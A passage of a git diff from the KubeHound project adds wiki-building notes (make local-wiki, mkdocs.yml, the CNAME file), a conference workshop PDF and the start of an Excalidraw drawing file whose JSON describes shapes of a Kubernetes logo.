[kubehound.io](https://kubehound.io) locally use: + +```bash +make local-wiki +``` + +!!! tip + + All the configuration of the website (url, menu, css, ...) is being made from [mkdocs.yml](https://github.com/DataDog/KubeHound/blob/main/mkdocs.yml) file: + +## Push new version + +The website will get automatically updated everytime there is changemement in [docs](https://github.com/DataDog/KubeHound/tree/main/docs) directory or the [mkdocs.yml](https://github.com/DataDog/KubeHound/blob/main/mkdocs.yml) file. This is being handled by [docs](https://github.com/DataDog/KubeHound/blob/main/.github/workflows/docs.yml) workflow. + +!!! note + + The domain for the wiki is being setup in the [CNAME](https://github.com/DataDog/KubeHound/tree/main/docs/CNAME) file. diff --git a/docs/files/PassTheSalt24/Kubehound-Workshop-PassTheSalt_2024.pdf b/docs/files/PassTheSalt24/Kubehound-Workshop-PassTheSalt_2024.pdf new file mode 100644 index 000000000..b36db6fba Binary files /dev/null and b/docs/files/PassTheSalt24/Kubehound-Workshop-PassTheSalt_2024.pdf differ diff --git a/docs/files/Troopers24/Kubehound-Troopers_2024-images.excalidraw b/docs/files/Troopers24/Kubehound-Troopers_2024-images.excalidraw new file mode 100644 index 000000000..f5692d378 --- /dev/null +++ b/docs/files/Troopers24/Kubehound-Troopers_2024-images.excalidraw @@ -0,0 +1,74313 @@ +{ + "type": "excalidraw", + "version": 2, + "source": "https://github.com/zsviczian/obsidian-excalidraw-plugin/releases/tag/2.2.6", + "elements": [ + { + "type": "rectangle", + "version": 415, + "versionNonce": 1148470496, + "index": "c0UZ0G", + "isDeleted": false, + "id": "smB-yHZc87vN5HfVNjMGD", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 1426.5627799837175, + "y": -1637.3874197216928, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 809.1994183104124, + "height": 155.1877080149376, + "seed": 1905275832, + "groupIds": [ + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2927, + "versionNonce": 995666144, + "index": "c0UZ0V", + "isDeleted": false, + "id": "lMeA6-s_Fji64Wk89Yi_T", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1474.5028872458852, + "y": -1613.2258746495, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 137.25462749862166, + "height": 133.16745907115097, + "seed": 317760952, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -19.858832295391053, + 9.357060858608907 + ], + [ + -20.82335571705872, + 9.934367540497373 + ], + [ + -21.58483177670788, + 10.500035470522374 + ], + [ + -22.215769083274317, + 11.065703400547589 + ], + [ + -22.933732225229196, + 11.827179460196618 + ], + [ + -23.629938908336964, + 12.740950731775676 + ], + [ + -24.1303374618207, + 13.719991379895877 + ], + [ + -24.413171426833227, + 14.633762651474955 + ], + [ + -24.61906785092235, + 15.666240708546752 + ], + [ + -31.404699872680503, + 44.470555534225085 + ], + [ + -36.139875597311864, + 65.66503613648766 + ], + [ + -36.461013089595156, + 66.77644283259525 + ], + [ + -36.58832208992515, + 67.96466016900914 + ], + [ + -36.60954025664686, + 69.04678667181453 + ], + [ + -36.4988155370519, + 70.07189243313978 + ], + [ + -36.31248592254336, + 70.9617869223158 + ], + [ + -36.10509788423565, + 71.57574350360086 + ], + [ + -35.786348570192786, + 72.43537665889333 + ], + [ + -35.21648200853325, + 73.40077905596239 + ], + [ + -34.621367557948304, + 74.22233508077001 + ], + [ + -0.78345815250443, + 116.16474339119846 + ], + [ + -0.20459458385334983, + 116.70666797036043 + ], + [ + 0.5239201805040423, + 117.1923444799319 + ], + [ + 1.2726714660936267, + 117.67802098950364 + ], + [ + 2.041659272915325, + 118.04227837168219 + ], + [ + 2.851120122201344, + 118.32558966893248 + ], + [ + 3.741527056415997, + 118.52795488125383 + ], + [ + 4.692643554327056, + 118.6291374874146 + ], + [ + 5.578149305225253, + 118.66101475582445 + ], + [ + 59.02572434056597, + 118.64620612910471 + ], + [ + 60.048366234598966, + 118.52927263981837 + ], + [ + 61.03157027014318, + 118.30503312293976 + ], + [ + 62.03202349929343, + 118.04629521884928 + ], + [ + 62.894483179595284, + 117.56331779788017 + ], + [ + 63.756942859897336, + 116.99409440888077 + ], + [ + 64.60215334659313, + 116.33862505185147 + ], + [ + 65.2403735100166, + 115.66590650121607 + ], + [ + 65.83999394245127, + 114.9090601677334 + ], + [ + 99.3790812020678, + 73.19247433315671 + ], + [ + 99.8543364565285, + 72.33630865605096 + ], + [ + 100.1799397211241, + 71.49904311851941 + ], + [ + 100.389256105507, + 70.59200545286052 + ], + [ + 100.5753151138473, + 69.73148253928643 + ], + [ + 100.6450872419748, + 68.80118749758489 + ], + [ + 100.62182986593237, + 67.75460557567058 + ], + [ + 100.43577085759202, + 66.73128102979874 + ], + [ + 100.19066738385901, + 65.70232223946365 + ], + [ + 88.58032377422029, + 15.362319719741208 + ], + [ + 88.26863729766231, + 14.200846455948138 + ], + [ + 87.99822517284011, + 13.48685418895358 + ], + [ + 87.73509750100723, + 12.90304239344048 + ], + [ + 87.28339192131813, + 12.177574700955844 + ], + [ + 86.32921775971904, + 11.053061656579906 + ], + [ + 85.34808850349916, + 10.259864950571732 + ], + [ + 84.05653946052819, + 9.397861374824046 + ], + [ + 54.77277642773265, + -4.314769732447161 + ], + [ + 46.16428526619778, + -8.621429033990118 + ], + [ + 37.01495567873984, + -12.979327158328518 + ], + [ + 35.849966939695456, + -13.600651334868633 + ], + [ + 34.84625039378267, + -14.065788270779578 + ], + [ + 34.03838097877973, + -14.286116293053139 + ], + [ + 33.03466443286698, + -14.43300164123561 + ], + [ + 31.761658081953254, + -14.506444315326517 + ], + [ + 30.439689948312058, + -14.335078075780519 + ], + [ + 29.044279140579675, + -13.967864705324676 + ], + [ + 27.844715463757133, + -13.40480420395882 + ], + [ + 26.58024271160624, + -12.802637168235126 + ], + [ + 18.66731401225605, + -9.042037390326108 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "ellipse", + "version": 1050, + "versionNonce": 537955552, + "index": "c0UZ0l", + "isDeleted": false, + "id": "Pd8GhtuNMsTUOgx-t7L4c", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1469.9030580284693, + "y": -1595.786982426957, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 74.34183425623006, + "height": 74.15515653402763, + "seed": 1782787768, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 2305, + "versionNonce": 1814819040, + "index": "c0UZ1", + "isDeleted": false, + "id": "3FaUb1hrprtcjb4hGS_YH", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1503.7883220300412, + "y": -1595.548449411766, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 677156792, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2358, + "versionNonce": 1731908832, + "index": "c0UZ1G", + "isDeleted": false, + "id": "uI7yJC20x_3bZS4VGlLiR", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0.8686267165409003, + "x": 1538.3229997972799, + "y": -1579.1811018968192, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 291561656, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2379, + "versionNonce": 1724725472, + "index": "c0UZ1V", + "isDeleted": false, + "id": "QjzSzMg5uRPNlviQN_qJ-", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 1.7778883656625375, + "x": 1546.6910176525735, + "y": -1541.7980786211106, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 1156843960, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2425, + "versionNonce": 242425056, + "index": "c0UZ2", + "isDeleted": false, + "id": "SvIxvkbiyHii5ZKGS2ZDf", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 2.6970035598078645, + "x": 1522.9901332019274, + "y": -1511.7915468939682, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 1312428728, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2403, + "versionNonce": 264012000, + "index": "c0UZ2G", + "isDeleted": false, + "id": "ul4sdTbrlhPppxB2hTnpg", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 3.583969694432408, + "x": 1484.8734088267488, + "y": -1511.6874342602146, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 869727160, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2389, + "versionNonce": 1782146272, + "index": "c0UZ2V", + "isDeleted": false, + "id": "NqjL7jZPTpdVc7PsPIBzA", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 4.456659860702139, + "x": 1460.8056738718958, + "y": -1541.5651216654228, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 133088440, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2362, + "versionNonce": 729401568, + "index": "c0UZ3", + "isDeleted": false, + "id": "ycZc5N6b5c7Dbo6z9Ki9c", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 5.358545231943218, + "x": 1469.3768676770542, + "y": -1579.052341578873, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 2015718840, + "groupIds": [ + "46VBinwF4H6EYn7kS-X8s", + "Df0X4ohERyv0DELuE_s9k", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453339, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + 